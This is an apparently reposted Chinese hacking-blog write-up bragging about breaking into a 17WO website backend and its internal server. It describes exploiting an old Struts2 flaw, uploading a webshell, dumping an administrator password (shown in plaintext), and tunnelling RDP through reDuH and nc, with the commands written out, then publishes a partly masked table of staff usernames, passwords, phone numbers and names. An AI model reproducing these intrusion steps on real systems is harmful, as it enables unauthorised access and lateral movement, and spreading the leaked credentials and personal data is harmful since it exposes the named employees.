记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

看我如何进入17WO网站某后台并且拿下内网服务器

2015-05-23 14:00

说来也巧合的,你们联通一条短信就让我进去服务器。




一开始一条短信飞过来了
 

IMG_0385.PNG



唔~ 访问下。一眼过去感觉有Struts2漏洞,可惜主站没有,搜下二级域名

然后发现了这个


http://value.17wo.cn/resource/value17wo/LoginForm.action


 

L3Y@KO6XKN[OW1GOWCVMM1F.jpg



检测下。唔~这么老的洞还存在 struts2 05的
 

DADZ{CN@7~`)GCZSCCM~VT4.jpg



直接上传一句话,菜刀拿shell
 

A{KUD2@@YY(J{[C_{6LMCHF.jpg



查看下ip。原来是内网


Ethernet adapter 本地连接 2:



Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 10.123.177.41

Subnet Mask . . . . . . . . . . . : 255.255.255.224

Default Gateway . . . . . . . . . : 10.123.177.35



然后使用getpass.exe获取到管理员的账号密码


UserName: Administrator
LogonDomain: WINCENTER
password: wincenter



尝试用lcx.exe进行转发,但是失败了。@scanf 发了我一个工具 reDuH ,不错

开始GUI一连就崩,然后改用jar包进行转发,用nc进行监听

上传xx.jsp转发文件


http://value.17wo.cn/Form/css/xx.jsp



本地执行执行java命令


>java -jar reduh.jar http://value.17wo.cn/Form/css/xx.jsp



再开启nc监听1010端口


nc -vv localhost 1010



再输入


[createTunnel]1234:127.0.0.1:3389



帮内网服务器的3389经过1010端口转发到1234端口

本机mstsc连接输入127.0.0.1:1234即可连入

 

315%B~`0T9{]T[)KWPWRAT9.jpg



一连撸了几天,本来打算把整个段入侵的,谁知道你们服务器不给力。一扫就宕机了。。

在桌面找到一份文件


"ID","USERNAME","PASSWORD","PHONE_NUMBER","NAME_CHS"
"41","ouyangxp","oy****","186**30233",""
"1","mlabs","Lihan****","18**31399","李韩"
"2","wangliang","wl****","","汪亮"
"3","wuyong","w***","1856**0415","吴勇"
"4","wenhui","wh1234","185***0410","文慧"
"5","dengrenguang","drg1234","185**0403","邓仁光"
"6","liyiling","l*****","1**555083","李艺玲"
"7","wujie","w*****","1852**5098","武杰"
"8","youjia","*****","1867**75","游嘉"
"9","zhangjunwei","z*****","18**4826227","张俊伟"
"10","hepeng","h********","1862**","何鹏"
"11","zhengwenqing","z***","","郑文清"
"12","zy","z***23**4","18***0498","zy"
"13","zhouqunjie","z*****4","1856**0498","周群杰"
"14","lihan","lh***4","18602***31399","李韩"
"15","fanronghui","frh****4","186**30278","范荣辉"
"16","kanglisheng","k****34","186***40","康立升"
"17","caibingfeng","cb*****","1316**0646","蔡炳锋"
"18","luojianxiong","l*****4","18666**048","罗剑雄"
"19","chenfangling","c****23*4","1862**49","陈芳玲"
"20","demo","un*****","",""
"21","jiangtao","*jt****","18602031756","江涛"
"22","caizhaochun","c****","","蔡召春"
"23","liuzhengbiao","lz****","","刘正标"
"24","wangshuai","ws****","","王帅"
"25","xuzhongbin","x****","","徐忠斌"
"26","zhengsi","zs1***4","","郑斯"
"27","longzhiyong","lz****234","","龙智勇"
"28","hexin","hx*****4","","何信"
"29","cuidongping","cdp1234","","崔东平"
"30","linmin","l*****4","","林敏"
"31","weierxi","w******34","","魏尔希"
"32","wangguanghao","w***g*****4","","王光昊"
"33","lihaiqi","l****","","李海琦"
"34","zouwenbin","zw*****4","","邹文斌"
"35","liudexiang","*******4","","刘德翔"
"36","xuwei","******4","","徐玮"
"37","wuhaixi","w********","","吴海西"
"38","chenchaowei","cc*****","","陈超巍"
"39","sumaojin","sm*****4","15*****1728",""
"40","fengyongxiong","f****34","1860******81",""


就这样你们懂的

解决方案:

升级

知识来源: www.2cto.com/Article/201505/401361.html

阅读:96089 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“看我如何进入17WO网站某后台并且拿下内网服务器”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于垒土;黑客之术,始于阅读

推广

工具

标签云